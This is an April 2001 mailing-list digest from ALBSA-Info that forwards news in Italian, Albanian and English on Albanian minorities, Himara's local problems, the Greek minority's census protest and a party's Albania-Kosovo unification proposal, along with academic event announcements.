http://eurolink.ong.ro www.fime.org/-/eurolink-bucarest Our organization - EUROLINK - House of Europe Foundation - was established in March 1997, thanks to an initiative of some leading Romanian specialists, intellectuals, businessmen, journalists and students. The main goal of our foundation is to deepen and to promote the European Idea, the aspirations of a United Europe, a new type-security system through a specific Romanian and Central-European contribution to this unique process. EUROLINK - House of Europe Foundation operates as an independent educational/ information agency under the umbrella of the International Federation of Europe Houses (FIME) network, a pan-European organisation affiliated from 1962 to the Council of Europe and sponsored by the European Commission. In October 1999, our institution became a candidate member of FIME for a two years period before its full membership. In this context, the House of Europe provides to Bucharest an independent public arena for debates concerning the majors issues of the European unification and of the EU enlargement. We established good contacts with various European institutions and organisations in Romania, as well as all over Europe. We are pleased to invite you to attend the First International Youth Summer University in Paltinis (SIBIU, Transylavania-Romania) in the field of European Studies & International Relations from the perspective of the Stability Pact in SEE, in Engish language, organised in co-operation with ELSA, Bridges for Education Foundation (USA) and others, in the period 8-21 July 2001. For more information, selection procedures, fees, fiancial aid and application forms, please visit our web page: http://eurolink.ong.ro. Please feel free to popularise these information. Thank you for your interest and kind attention. Best regards and good luck, Youth and Student Department EUROLINK - House of Europe Bucharest, Romania _______________________________________________ Balkan Academic News Post Messages to: balkans at yahoogroups.com Contact Owner at: fbieber at yahoo.com Subscribe: balkans-subscribe at yahoogroups.com Unsubscribe: balkans-unsubscribe at yahoogroups.com Homepage: http://www.seep.ceu.hu/balkans/ Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/ --openmail-part-1d2e18f2-00000002-- --openmail-part-1d2e18f2-00000001-- --__--__-- Message: 3 Date: Tue, 10 Apr 2001 04:44:20 -0700 (PDT) From: Agron Alibali To: Albsa-info at alb-net.com Subject: [ALBSA-Info] First implementation of Italian minority law Pianeta Balcani: Albania IMMIGRAZIONE: RICONOSCIMENTO PER COLONIA ALBANESE A PESCARA (ANSA) - PESCARA, 9 APR - Arriva il primo riconoscimento ufficiale per la minoranza linguistica di Villa Badessa, frazione di Rosciano (Pescara), dove da secoli vive la colonia italoalbanese piu' settentrionale d' Italia. Il consiglio provinciale di Pescara ha, infatti, approvato la delimitazione dell' ambito territoriale della colonia, all' interno del quale potranno essere applicate le norme, a tutela delle minoranze linguistiche, fissate dall' art.3 della legge 482/99. Il provvedimento era stato sollecitato dal consiglio comunale di Rosciano. I cittadini di Villa Badessa potranno chiedere, ad esempio, che l' insegnamento della lingua italiana sia affiancato da quello dell' albanese, oltre a poter usufruire delle agevolazioni previsti dalla legge nazionale. I circa cinquecento abitanti rimasti sono i discendenti di un gruppo di diciotto famiglie che partirono, nella prima meta' del secolo XVIII, dall' Albania meridionale per sfuggire all' occupazione turca nei Balcani. Giunti in Italia, ricevettero da Carlo III di Borbone i due feudi allodiali dell' Abbadessa e di Piano di Coccia, insediandosi ufficialmente in Abruzzo il 4 marzo 1744. Il piccolo nucleo era accompagnato da due sacerdoti ortodossi, cui fu affidata la cura della comunita' che, ancora oggi, celebra suggestivi riti in occasione della Pasqua ortodossa. (ANSA). YXU-GO 09/04/2001 20:11 __________________________________________________ Do You Yahoo!? Get email at your own domain with Yahoo! Mail. http://personal.mail.yahoo.com/ --__--__-- Message: 4 Date: Tue, 10 Apr 2001 05:13:13 -0700 (PDT) From: Agron Alibali To: ALbsa-info at alb-net.com Subject: [ALBSA-Info] ANA - 10 April, 2001 ATHENS ASKED TO RECHECK MILOSEVIC'S ACCOUNTS Athens, 10 April 2001 (14:26 UTC+2) The chief prosecutor of the War Crimes Tribunal Carla Del Ponte has reportedly filed another request with the Greek authorities to investigate anew the bank accounts of former Yugoslav President Slobodan Milosevic, even though earlier inquiries had failed to produce any incriminating data. According to the Athens daily ?Imerisia?, Ms. Del Ponte has complained over the Greek authorities' failure to freeze those accounts, even though such move would not have been justified given the absence of money-laundering evidence. According to Ms. Del Ponte, who has dispatched an envoy to Greece for this purpose, the accounts in question were used to transfer money abroad and, after a labyrinthine trail, were channeled to Milosevic and his associates. __________________________________________________ Do You Yahoo!? Get email at your own domain with Yahoo! Mail. http://personal.mail.yahoo.com/ --__--__-- Message: 5 Date: Tue, 10 Apr 2001 05:20:04 -0700 (PDT) From: Agron Alibali To: ALbsa-info at alb-net.com Subject: [ALBSA-Info] KOHA JONA - 10 prill 2001 Greqia, 50 mije dhrahmi pension cdo himarioti Nga Himara, Anila BASHA/ Himara, qyteti bregdetar jugor plot me probleme, nuk e ka ndryshuar shume pamjen e tij ne kete vit qe ka hyre. Njerezit duket se nuk jane aq te irrituar, ashtu sikurse ndodhi ne zgjedhjet lokale te vitit te kaluar. Aty dallget e detit kane filluar te perplasen tek ndertimet pa leje, qe sic thone banoret e zones, nuk eshte prekur asgje qe nga koha e premtimeve te zgjedhjeve lokale. Rruget kane mbetur po ato, edhe pse ishte premtuar shtrimi i unazes se qytetit, dhe fondet jane dhene nga qeveria shqiptare per ndertimin e kesaj rruge. Kur mendon se zgjedhjet e ardhshme parlamentare po afrojne dhe lufta politike do te mbetet e hapur si ka qene edhe ne zgjedhjet e kaluara, situata rendohet edhe me shume. Ka kaq shume halle ky qytet, tek i cili pretendohet qe kete vit shteti te vjele te ardhurat me te medha nga turizmi. "Sikur te na japin ndonje kredi per te mbaruar keto ndertime qe kemi nisur! Si t'i mbarojme? Me se t'i bejme?" A thua se vertet himariotet jane kaq te vuajtur ne fakt, por ata, e kerkojne nje gje te tille. te gjitha investimet e filluara, duhet te perfundojne gjate ketij viti. Dhe kjo, sepse Himara vertet aktualisht ka vetem 2000 banore dhe rreth 1700 familje, por numri i popollates, ashtu sikurse cdo vit tjeter, do t'i kaloje te 10 mije vetet. "Kete vit fryjne erera te mbara, sepse edhe ata turistet nga Maqedonia, apo edhe zona te tjera, ketu do te vijne". banoret e kesaj zone, e kane kuptuar shume mire fluksin e madh te njerezve qe do t'u bujtin ne dere kete vit. Por edhe pse bejne perpjekje te medha, duket se nuk do te kene asnje rezultat deri ne fillimin e plazhit. Pavaresisht se ndihej fryma e fillimit te plazhisteve qe i gezoheshin diellit te nxehte dhe valeve te detit. Hallet kane mbetur ato te tetorit Premtimet e dhena ne qytetin e vogel te Himares, duket se kane humbur ne detin e madh. Himariotet, nuk kane asnje lidhje me Tiranen, kryeqytetin e Shqiperise. Dhe kjo per shume arsye. "Ne duam qe ju te percillni fjalen tone ne Tirane: ne duam te shohim ndonje kanal televiziv shqiptar. As Televizionin Shqiptar nuk na e kap ketu ne Himare. Nuk dime se c'behet fare nga Tirana. Duhet te behet dicka per kete sepse ne nuk mund te rrime ne kete gjendje". Kjo eshte kerkesa e pare e banoreve te zones, te cilet cdo dite shplodhin syte e tyre jo vetem me detin, por edhe me kanalet televizive greke, qe duket sikur edhe antenat e tyre i kane te montuara ne ndonje maje mali perreth Himares. Ata nuk degjojne asnje gje shqip, dhe nuk shohin se c'ndodhne anen shqiptare, ndersa jane shume te informuar per politiken greke ne pergjithesi. Madje, as Radio Tirana e degjuar shume ne kete zone, nuk arrin te degjohet. Por serish nuk mbetet ky problemi kryesor. "Po pe kerkon ti televizor, kur nuk ke drita?". Gjysmen e fjalorit shqip, dhe gjysmen me theksin greqisht, dikush aty prane i ankohet personit qe foli ne mikrofon se ne te vertete, duhet te trajtoje shqetesimet me te medha. Dhe kjo eshte mungesa e energjise elektrike nga ora tete e mengjezit, deri ne oren 9.30 te mbremjes. Dhe kjo per qytetaret eshte e patolerueshme per njerezit me pushtet qe zbriten me pompozitet ne Himare per zgjedhje dhe bene kaq shume premtime. Ashtu sikurse edhe nje vit me pare, nuk behet fjale per telefoni celulare shqipe ne qytetin bregdetar. te shohim se cfare do te servirin kesaj rradhe per Himaren biznesmenet e medhenj greke, te cilet kane marre ne duar dy operatoret celulare te licensuar ne Shqiperi. Megjithate Panafoni grek i ka shtrire tentakulat e veta edhe ne territor shqiptar. Uji eshte nje tjeter shqetesim i premtuar per himariotet, por i parealizuar. Grate himariote, kane gjetur ne te vertete mundesine per te shkuar buze detit dhe per te lare rrobat, nderkohe qe ai pak uje qe u vjen e perdorin per te pire. "Uje dhe drita duam, nuk do te kerkonim ndonje gje tjeter qe per momentin nuk e kemi", thone ata njezeri. Askush nuk ndjehet optimist per te ashtuquajturat investime te premtuara per qytetin e vogel bregdetar. Madje, edhe per rrugen e Llogarase, qe te con ne Himare, nuk jane shume optimiste se do te behet. "I kane ngrene parate, i kane ngrene", thone disa nga banoret, duke i drejtuar syte lart, si per te thene qeveritaret aktuale. Por ajo qe te ben me shume pershtypje ne qytetin e vogel, eshte pikerisht influenca greke ne kete zone, e cila vazhdon te rritet kohe pas kohe. Shteti grek, gjate ketyre muajve qe kane kaluar qe nga zgjedhjet e tetorit te vitit te kaluar, nuk ka ndenjur indiferent perballe problemit shqiptar-minoritet grek ne kete zone. Nenkryetari i OMONIA-s, Vasil Bollano, ish kandidati per kryetar bashkie ne zgjedhjet e tetorit te vitit te kaluar, thote se OMONIA eshte e pakenaqur nga shifra statistikore e dhene per minoritetin grek ne kete zone. Banoret konfirmojne megjithate, se shteti grek po ben te pamunduren per me shume influence ne keto zona. Dhe gjithcka pasqyrohet edhe tek ndihma sociale qe banoret pleq te Tiranes marrin nga shteti grek ne baze te nje programi te Bashkimit Evropian. Ndersa shume kohe me pare, deri ne zgjedhjet e tetorit te vitit te kaluar, ndihma sociale per ta ka qene 40 mije dhrahmi, gjate gjithe kesaj periudhe kjo ndihme eshte rritur edhe 10 mije dhrahmi te tjera, duke e cuar kete shifer deri ne 50 mije dhrahmi, nje shifer kjo jo e vogel. Ndersa per ata qe jane aktualisht ne Greqi, pra pjesa me e madhe e himarioteve te cilet kane me shume sesa 5 vjet ne kete vend, perftojne edhe pashaporten greke. Kjo eshte politika e ndjekur ne garen teper te ashper qe do te zhvillohet per keto zgjedhje. Petro Koci-Stavri Marko, ne gare per Himaren Duke mbetur ne situaten parazgjedhore ne Himare, perfaqesuesit socialiste i kane bere gati tashme gjithe propozimet e tyre, ndersa perfaqesuesit e minoritetitjane akoma ne kerkim te kandidaturave. Zona elektorale qe perfshin Himaren ka nje shtrirje qe nga Komuna e Lukoves, Bashkia e Himares, Komuna e Vranishtit e Brarit dhe Kotes. Sipas kryetarit te partise socialiste te qytetit te Himares Jorgji Buta, deri tani keshillat zonale te qytetit kane nxjerre tre kandidatura kryesore: njera i perket kryetarit te PS se qytetit te Vlores, ka dale si propozim ajo e Petro Kocit, sekretar organizativ i PS, i cili eshte me origjine nga Qeparoi si dhe Anastas Angjelit. Kandidatura e ketij te fundit perjashtohet nga kjo zone sepse Ministri i Financave do te vendose kandidaturen ne Tirane. Sipas zotit Buta, keto do te jene propozimet qe do te shkojne deri ne konference, nderkohe qe deri tani ende nuk eshte menduar per ndonje aleance paraprake mes gjithe forcave politike, ashtu sikurse ndodhi ne zgjedhjet lokale te tetorit te ketij viti. Kur permendet emri i Ministrit te Jashtem shqiptar Paskal Milo, si nje kandidature e mundshme, Buta thote se ky propozim vjen nga Partia Socialdemokrate. "Por deri tani nuk dihet se si do te jete bashkepunimi dhe perzgjedhja ne qender", sqaron kryetari socialist. Nuk ndihet e njejta ere ndryshimesh ne struktura, persa i perket kampit te OMONIA-s. Vasil Bollano, tha per KJ se vete kjo organizate do te bashkepunoje me Partine e te drejtave te Njeriut dhe se se bashku do te nxjerrin nje kandidature per deputet. Bollano tha se keto zgjedhje nuk duhet te jene absolutisht si zgjedhjet e tetorit te vitit te kaluar, sipas tij te manipuluara. "Sa per kandidaturat ne ende nuk kemi perzgjedhur ndonje", sqaron Bollano. Megjithate nuk ngurron te thote se eshte ofruar vete per te kandiduar Stavri Marko, duke dashur te mbeshtetet nga OMONIA dhe Partia e te drejtave te Njeriut. "Ai e ka sjelle kerkesen prane organizates sone, por ende ne nuk e kemi vendosur. Kjo kerkese e tij do te shqyrtohet ne kryesine e OMONIA-s", thote Bollano per gazeten "KJ". Fushata edhe kete here do te jete nje nder me te ashprat qe do te zhvillohen ne kete zone. pavaresisht se deri tani qeveria shqiptare ka vene ne dispozicion te Bashkise se Himares mbi 1 miliarde e 400 milione leke te vjetra. Llogaraja, mali qe u be autostrade Qafa e Llogarase, ka marre pamjen e nje kantieri tashme te perfunduar. Askush nuk e mendonte se rruga qe nga hyrja ne qafen e Llogarase deri ne dalje te saj, do te rregullohej ne nje kohe kaq te shkurter. Kolonel Islam Batalli qe eshte njekohesisht edhe shefi i forcave xheniere te ushtrise qe punojne per zgjerimin e rruges ne kete zone, tha se deri tani jane bere gati per asfaltim rreth 6 kilometra, nderkohe qe po punohet ne nje segment rrugor prej 12.5 kilometrash. "Rruga eshte zgjeruar dy here. Vende vende ajo shkon deri ne tete metra, por zgjerimi normal i saj kap te 7 metrat", sqaron Batalli per KJ. Por kjo nuk ka qene nje pune e thjeshte. Jane arritur te hiqen rreth 43 mije metra kub shkemb dhe jane bere rreth 35 mije shperthime per te hyre deri ne brendesi te Qafes se veshtire te Llogarase. Aktualisht jane hequr pjesa me e madhe e mjeteve dhe ne pune kane mbetur vetem 13 te tilla per te vazhduar punimet. Batalli sqaron se punohet per te mbyllur kete rruge brenda afateve te caktuara. "Madje ne do ta perfundojme zgjerimin dhe pastrimin e rruges 10 dite para afatit", garanton ai duke u shprehur njekohesisht se ky eshte nje angazhim i ndermarre perpara Kryeministrit dhePresidentit te Republikes. Aktualisht ne Qafen e Llogarase, puna ishte ne fazen perfundimtare, cka do te thoshte ne te vertete, vetem heqje e dherave dhe shkembinjve te mbetur. Pr punetoret mbeten te pakenaqur nga menyra sesi pagohen per kete pune te bere. "Punojme qe nga ora 7 e mengjezit deri ne tete te mbremjes. Sa per rrogen mos na pyet se na dhemb ne zemer. Paguhemi shume pak. Eshte e vertete se na eshte premtuar rritje rroge 400 perqind, por paga qe ne marrim eshte e ulet. Une personalisht marr 94 mije leke te vjetra, por ka edhe shofere qe marrin nga 70 mije leke te vjetra. Ne patjeter ne perfundim te kesaj pune, e duam nga nje shperblim", thote nje nga punetoret. Dhe eshte e vertete qe atyre ushtarakeve qe kane 6 muaj qe punojne intesivisht per te care malin, u takon nga nje shperblim per punen e jashtezakonshme qe kane arritur te bejne. 04/10/2001 __________________________________________________ Do You Yahoo!? Get email at your own domain with Yahoo! Mail. http://personal.mail.yahoo.com/ --__--__-- Message: 6 Date: Tue, 10 Apr 2001 15:36:59 -0400 From: aalibali at law.harvard.edu TO: Albsa-info at alb-net.com Subject: [ALBSA-Info] Call for Papers: Strategies for Revitalising East European Cities, Prague, September 2001 --openmail-part-1d33dfbb-00000001 Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline ;Creation-Date="Tue, 10 Apr 2001 15:36:08 -0400" ;Modification-Date="Tue, 10 Apr 2001 15:36:58 -0400" Content-Transfer-Encoding: 7bit --openmail-part-1d33dfbb-00000001 Content-Type: message/rfc822 Message-Id: Date: Tue, 10 Apr 2001 18:21:54 +0200 Subject: [balkans] CfP: Strategies for Revitalising East European Cities, Prague, September 2001 MIME-Version: 1.0 Sender: bieberf at seep.ceu.hu TO: balkans at yahoogroups.com FROM: bieberf at seep.ceu.hu Content-Type: multipart/Mixed; boundary="openmail-part-1d33dfbb-00000002" --openmail-part-1d33dfbb-00000002 Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline ;Creation-Date="Tue, 10 Apr 2001 18:21:54 +0200" ;Modification-Date="Tue, 10 Apr 2001 18:21:54 +0200" Content-Transfer-Encoding: 7bit I attach a call for papers for a conference about postcommunist cities. I have just talked to the conference organisor Michal Illner. Important news: the deadline for sending abstracts was postponed to April 30 (originally March 31). Also note that there will be a reduced fee for participants from Central and Eastern Europe, who submit a paper. You may also look at EURA www page: http://www.eura.org/ Ludek Sykora, Prague Strategies for Revitalising East European Cities EURA Workshop in Prague 20 - 22 September 2001 East European cities face numerous challenges: political, economic, social and environmental. This conference will share the latest research findings on: what is happening to East European cities; how central and local governments are responding to current challenges; and will compare and contrast different revitalisation efforts. The conference will also examine how two-way policy learning can be developed between urban policy makers and researchers in Eastern and Western Europe. Call for papers The organisers invite the submission of proposals which examine past and recent experience with revitalisation. The specific themes of the conference will be shaped by the abstracts we receive. We envisage proposals: Examining different types of cities and uneven development within cities - for example, old industrial cities, peripheral cities in border areas, historic cities, socialist era housing estates, city centre renewal etc. Assessing the forces shaping change in East European cities - for example, foreign investment, privatisation of housing estates, migration, EU policies and programmes, gloalisation, international tourism etc. Focussing on major problems - for example, marginalisation, residential segregation, crime, drugs, unemployment, poverty, how to treat historical heritage etc. Reviewing innovations in policy and governance - for example, city leadership, local governance arrangements, national urban policies and programmes, the roles of business and Non Governmental Organisations (NGOs), economic strategies etc. Potential participants are invited to submit abstracts of 300 words covering: 1) Title; 2) Abstract; 3) Author (full address and email details). Abstracts should be submitted by 30 April 2001. Abstracts may be sent as electronic files (Word for Windows or Macintosh) via e- mail (or in the body of an e-mail) to: socmail at soc.cas.cz or as typewritten hard copy (please also send a 3.5" diskette): EURA Conference Office C/o Michal Illner Institute of Sociology Academy of Sciences of the Czech Republic Jilska 1 110 00 Praha 1 CZECH REPUBLIC Email: socmail at soc.cas.cz The conference co-organiser based in Bristol, England is: Rob Atkinson Faculty of the Built Environment University of the West of England, Bristol Email: Rob.Atkinson at uwe.ac.uk The language of the conference will be English _______________________________________________ Balkan Academic News Post Messages to: balkans at yahoogroups.com Contact Owner at: fbieber at yahoo.com Subscribe: balkans-subscribe at yahoogroups.com Unsubscribe: balkans-unsubscribe at yahoogroups.com Homepage: http://www.seep.ceu.hu/balkans/ Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/ --openmail-part-1d33dfbb-00000002-- --openmail-part-1d33dfbb-00000001-- --__--__-- Message: 7 Date: Tue, 10 Apr 2001 12:44:20 -0700 (PDT) From: Agron Alibali To: Albsa-info at alb-net.com Subject: [ALBSA-Info] MPA - 10 April 2001 [14] OMONIA: PRESSURES EXERTED ON THE ETHNIC GREEK MINORITY IN ALBANIA Tirana, 10 April 2001 (17:48 UTC+2) The ethnic Greek minority organization "Omonia" in Albania in a statement it has issued condemned the pressures exerted on the Greek minority members and the efforts made which are aimed at creating a climate of intimidation mainly in south Albania forcing the ethnic Greeks to participate in the population census that will be completed in Albania at the end of the month. In the statement it is stressed that the Greek minority has responded positively to the appeal issued by the "Omonia" general council and abstains from the population census process in a show of protest to its questionnaire that does not give the opportunity to the Albanian citizens to state their ethnic origin or religion in the case they wish to do so. The organization condemned the intimidation incidents on behalf of the state authorities and the unusual presence of secret service men in the regions of the ethnic Greek minority. Such pressures were recorded mainly in the cities of Kato Dropolis and Chimara. In the statement it has issued, "Omonia" calls on the Albanian government and international organizations to use their influence to end the intimidation climate and interventions, while it also calls for the adoption of measures to correct the injustice made to the ethnic Greek minority. "Omonia" representative Michalis Latsos stated to MPA that the adoption of a open procedure in the registering of the ethnic Greek minority members, allowing them to state their ethnic origin and religion if they wished to do so, was always the firm demand of the organization. The issue is expected to be discussed today in a meeting of Albanian prime minister Ilir Meta with "Omonia" representatives. __________________________________________________ Do You Yahoo!? Get email at your own domain with Yahoo! Mail. http://personal.mail.yahoo.com/ --__--__-- _______________________________________________ ALBSA-Info mailing list ALBSA-Info at alb-net.com http://www.alb-net.com/mailman/listinfo/albsa-info End of ALBSA-Info Digest From aalibali at yahoo.com Wed Apr 11 08:29:20 2001 From: aalibali at yahoo.com (Agron Alibali) Date: Wed, 11 Apr 2001 05:29:20 -0700 (PDT) Subject: [ALBSA-Info] Fwd: Re: The Balkans Stride Toward Europe's Mainstream (Washington Post, 8 April 2001) Message-ID: <20010411122920.61772.qmail@web11506.mail.yahoo.com> Note: forwarded message attached. __________________________________________________ Do You Yahoo!? Get email at your own domain with Yahoo! Mail. http://personal.mail.yahoo.com/ -------------- next part -------------- An embedded message was scrubbed... From: "mimoza kondo" Subject: Re: The Balkans Stride Toward Europe's Mainstream (Washington Post, 8 April 2001) Date: Tue, 10 Apr 2001 19:03:23 -0700 Size: 12663 URL: From aalibali at yahoo.com Wed Apr 11 08:33:01 2001 From: aalibali at yahoo.com (Agron Alibali) Date: Wed, 11 Apr 2001 05:33:01 -0700 (PDT) Subject: [ALBSA-Info] Fwd: Re: Risking a New War in the Balkans (New York Times, 8 April 2001) Message-ID: <20010411123301.11650.qmail@web11503.mail.yahoo.com> Note: forwarded message attached. __________________________________________________ Do You Yahoo!? Get email at your own domain with Yahoo! Mail. http://personal.mail.yahoo.com/ -------------- next part -------------- An embedded message was scrubbed... From: "mimoza kondo" Subject: Re: Risking a New War in the Balkans (New York Times, 8 April 2001) Date: Tue, 10 Apr 2001 18:45:44 -0700 Size: 8288 URL: From kbejko at hotmail.com Wed Apr 11 09:11:01 2001 From: kbejko at hotmail.com (Kreshnik Bejko) Date: Wed, 11 Apr 2001 09:11:01 -0400 Subject: [ALBSA-Info] Fwd: Web sites of the Albanian-Greek Philological Association Message-ID: > > >Kostas Giakoumis >37 Aharnon Street. Kifissia >145-61, Athens, Greece >Tel.: 003-01-8016787 >Fax: 003-01-6230013 >E-mail: kgiakoum at acci.gr > >Dear all, > >this is to announce that the Albanian-Greek Philological Association has >recently created its web site. A separate web site of its scientific review >ALBANOHELLENICA was also included as a link. > >We would be grateful if those interested visited our web site, sent their >comments to the Board of the Association and suggested any links which >could be included in our web site, or any other web sites which could >include our own as a link. > >1. Albanian-Greek Philological Association >www.geocities.com/albanian_greek > >2. ALBANOHELLENICA >www.geocities.com/albanohellenica > > >Yours sincerely, > > >Konstantinos Giakoumis _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com From aalibali at yahoo.com Thu Apr 12 14:22:43 2001 From: aalibali at yahoo.com (Agron Alibali) Date: Thu, 12 Apr 2001 11:22:43 -0700 (PDT) Subject: [ALBSA-Info] Qendrim i ri i Qeverise Shqiptare? Message-ID: <20010412182243.54569.qmail@web11505.mail.yahoo.com> PAD, Imami: Unifikimin paqesor te Shqiperise me Kosoven Lajmi i ores 1:30 PM Arben Imami TIRANE- "Unifikimi paqesor i Shqiperise me Kosoven". Kete ka deklaruar sot gjate nje konference per shtyp, Arben Imami, kryetar ekzekutiv i Partise Aleanca Demokratike.Sipas Imami, Aleanca Demokratike do te veproje ne legjislaturen e ardhshme per te realizuar kete angazhim ne kater drejtime kryesore. Njeri prej tyre do te jete unifikimi politiko- institucional i dy vendeve duke ndermarre reforma te perbashketa institucionale e administrative. Ky me synim pajtueshmerine e sistemeve politike dhe administrative, te te sistemeve te vendimmarrjes, ekzekutivit, drejtesise dhe te sistemeve te mbrojtjes e sigurise. Drejtimi i dyte ka te beje me bashkereformimin ekonomik qe synon unifikimin monetar, doganor e fiskal, unifikimin e tregjeve te kapitalit, mallrave si dhe unifikimin e sistemeve infrastruktura. Nje drejtim tjeter do te jete unifikimi psiko- kulturor nepermjet perputhshmerise se plote te te gjitha niveleve te arsimit dhe krijimit te nje hapesire unike kulturore shqiptare. Ndersa si drejtim te katert, Imami theksoi inkurajimin e nje levizjeje diplomatike per te realizuar nje konsensus sa me te gjere te bashkesise nderkombetare rreth unifikimit te Shqiperise me Kosoven si dhe per te arritur mirekuptimin dhe bindjen e fqinjeve se ky unifikim nuk krijon force destabilizuese, por eshte nje garanci e fuqishme per stabilitetin e Shqiperise, Kosoves dhe gjithe rajonit te Europes Juglindore. "Ne jemi te bindur se procesi i integrimit europian shkon ne te njejtin drejtim me nje sipermarrje te tille, te unifikimit paqesor te Shqiperise me Kosoven", shtoi kryetari ekzekutiv i Partise Aleanca Demokratike, Arben Imami. ad/an (ATSH/BalkanWeb) Studentet takojne Ruken: Do nisim bisedimet, te denohet dhuna __________________________________________________ Do You Yahoo!? Get email at your own domain with Yahoo! Mail. http://personal.mail.yahoo.com/ From aalibali at yahoo.com Thu Apr 12 14:29:43 2001 From: aalibali at yahoo.com (Agron Alibali) Date: Thu, 12 Apr 2001 11:29:43 -0700 (PDT) Subject: [ALBSA-Info] ANSA Message-ID: <20010412182943.49503.qmail@web11504.mail.yahoo.com> (ANSA) - TIRANA, 12 APR - Il ministro della giustizia albanese Arben Imami, leader del Partito per l'Allenza democratica (Pad), ha detto oggi che ''il futuro obiettivo politico'' del suo partito ''e' l'unificazione pacifica tra Albania e Kosovo''. Secondo Imami, il Pad lavorera' nella prossima legislatura per giungere a questo risultato attraverso quattro diverse direttive: l'unificazione politico-istituzionale tra le due entita', l'unificazione monetaria, doganale e fiscale e l'unificazione nel campo dell'istruzione ''per creare un unico spazio culturale albanese''. La quarta direttiva indicata da Imami e' quella oggettivamente piu' complessa: ''Incoraggiare un movimento diplomatico che convinca la comunita' internazionale che l'unificazione tra Albania e Kosovo non crea una forza destsbilizzante, ma e' al contrario una garanzia per la stabilita' di Albania, Kosovo e di tutta l'europa sud-orientale''. Il ministro si e' detto convinto che ''il processo di integrazione europea va in questa direzione''. E' la prima volta che un esponente del governo albanese (pur se rappresentante di un partito minore) si esprime in favore dell'unificazione tra Albania e Kosovo. In precedenza solo l'attuale leader dell'opposizione Sali Berisha (con il quale il Pad sta valutando se partecipare insieme alle prossime elezioni di giugno), si era detto favorevole alla creazione di ''una federazione albanese'' nei Balcani.(ANSA) BLL 12/04/2001 15:51 --------------------------------- Do You Yahoo!? Yahoo! Mail Personal Address - Get email at your own domain with Yahoo! Mail. -------------- next part -------------- HTML attachment scrubbed and removed From iliri at hotmail.com Thu Apr 12 15:36:22 2001 From: iliri at hotmail.com (F_L_I _R_I) Date: Thu, 12 Apr 2001 19:36:22 -0000 Subject: [ALBSA-Info] Andi concert Message-ID: HTML attachment scrubbed and removed -------------- next part -------------- A non-text attachment was scrubbed... Name: image002.jpg Type: image/pjpeg Size: 33702 bytes Desc: not available URL: From aalibali at yahoo.com Thu Apr 12 19:21:47 2001 From: aalibali at yahoo.com (Agron Alibali) Date: Thu, 12 Apr 2001 16:21:47 -0700 (PDT) Subject: [ALBSA-Info] Koha Jone Message-ID: <20010412232147.64980.qmail@web11502.mail.yahoo.com> C'ekulibrim elektoral Nga Martin Leka/ Nuk kane mjaftuar as deklaratat e kryeshtetareve te Botes, Xhorxh Bush, Toni Bler, Gerhard Shreder, etj, te cilet vazhdimisht kane nxitur qeverine shqiptare e politikanet e saj ne rajon, te jene luajale, te qete e pragmatiste persa i perket te ashtuquajtures teori te "Shqiperise se Madhe" pas perfundimit te luftes ne Kosove. Ne akordance te plote me qendrimet evropiane e amerikane kane qene vazhdimisht strukturat shteterore shqiptare qe nga institucioni i Presidentit te Republikes, Qeverise se Republikes se Shqiperise, Parlamentit, etj. Kur Kosova dukej se po shkonte rrjedhshem drejt rivendosjes se institucioneve te saj te pavarura, cka u vu re ne votimet vendore atje, krismat e disa pushkeve ne Maqedoni qe u pasuan me venien ne levizje te makines ushtarake te shtetit sllav kunder kryengritesve shqiptare, bene qe ne skene te ridilte teoria e perfolur e bashkimit te trojeve shqiptare ne rajon. Bashke me kete teori, e cila duket se ka gjetur mbeshtetje vetem ne disa "patriote epiko-folklorike" dhe qe vjen nen sfondin e krismave te filluara kete here nga shqiptaret, ka ardhur edhe shqetesimi nderkombetar per "separatizmin shqiptar". Vizita e djeshme Sekretarit Amerikan te Shtetit, Kolin Pauell ne Ballkan, e paraprire nga vizitat e shpeshta kohet e fundit ne Shkup e Tetove te zyrtareve te tjere te larte evropiane, duket qarte se ka patur synim ridimensionimin e idese fikse te mosndryshimit te kufinjve ne Maqedoni dhe te "carmatosjes" se patrioteve ballkanike cfaredo nga idete e zgjidhjes se problemeve me dhune. Perkunder qendrimeve racionale te Qeverise Shqiptare, ka qene dje nje qendrim i Partise Aleanca Demokratike, sipas te ciles, kjo parti kerkon "unifikimin gradual te Shqiperise me Kosoven". Nese do te kishim parasysh peshen e paperfilleshme te PAD ne elektoratin shqiptar, askush ndoshta nuk do ta merrte seriozisht nje qendrim te tille. Por, nese marrim parasysh se kjo parti eshte ne perberje te koalicionit qe qeveris, gjerat marrin seriozitetin qe duhet. Arsyeja e dyte e ka nxitur Qeverine Shqiptare te distancohet qarte nga kjo deklarate, e cila mund te kete reperkusione te tjera per vete PAD-ne, e cila ndodhet ne nje krize dyzimi mes se Majtes dhe te Djathtes. Nga ana tjeter, ne citim te analistit te njohur Bugajski, deklarata qe nxisin qendrime te tilla si kjo e PAD, nuk bejne gje tjeter vecse terheqin vemendjen nga kerkesa e perseritur nderkombetare per dergimin e Milloshevicit ne Hage, ngadalesojne proceset e zhvillimit ne Kosove dhe krijojne pershtypjen e "panshqiptarizmit", ide e gatuar ne guzhinen ruse apo anekset e saj sllave ne Ballkan. 04/13/2001 --------------------------------- Do You Yahoo!? Yahoo! Mail Personal Address - Get email at your own domain with Yahoo! Mail. -------------- next part -------------- HTML attachment scrubbed and removed From aalibali at yahoo.com Thu Apr 12 19:48:28 2001 From: aalibali at yahoo.com (Agron Alibali) Date: Thu, 12 Apr 2001 16:48:28 -0700 (PDT) Subject: [ALBSA-Info] Gazeta Shqiptare Message-ID: <20010412234828.91165.qmail@web11504.mail.yahoo.com> FAQJA E PARE Spekullimi p?r ca vota m? shum? P?r ca vota vota m? shum?, nj? parti periferike ka b?r? nj? deklarat?, e cila pritet ti kushtoj? shum? asaj q? tashm? quhet ??shtje shqiptare. P?rmes nj? deklarate t? shp?rndar? nga kryetari i saj, Arben Imami, PAD-i pretendon tu m?soj? shqiptar?ve nga t? dyja an?t e kufirit se cilat jan? rrug?t se si mund t? arrihet bashkimi i Shqip?ris? dhe Kosov?s n? nj? shtet t? vet?m. Kjo ?sht? koha m? e pap?rtshtatshme p?r t? l?shuar k?t? deklarat? t? ?mendur. Gjith? faktor?t shqiptar?, p?rfshir? dhe U?K po p?rpiqen t? hedhin posht? me t? gjitha mjetet akuz?n se po punohet p?r krijimin e Shqip?ris? s? madhe. Kjo akuz? b?het nga ato kancelari q? jan? m? t? ashprat kund?r 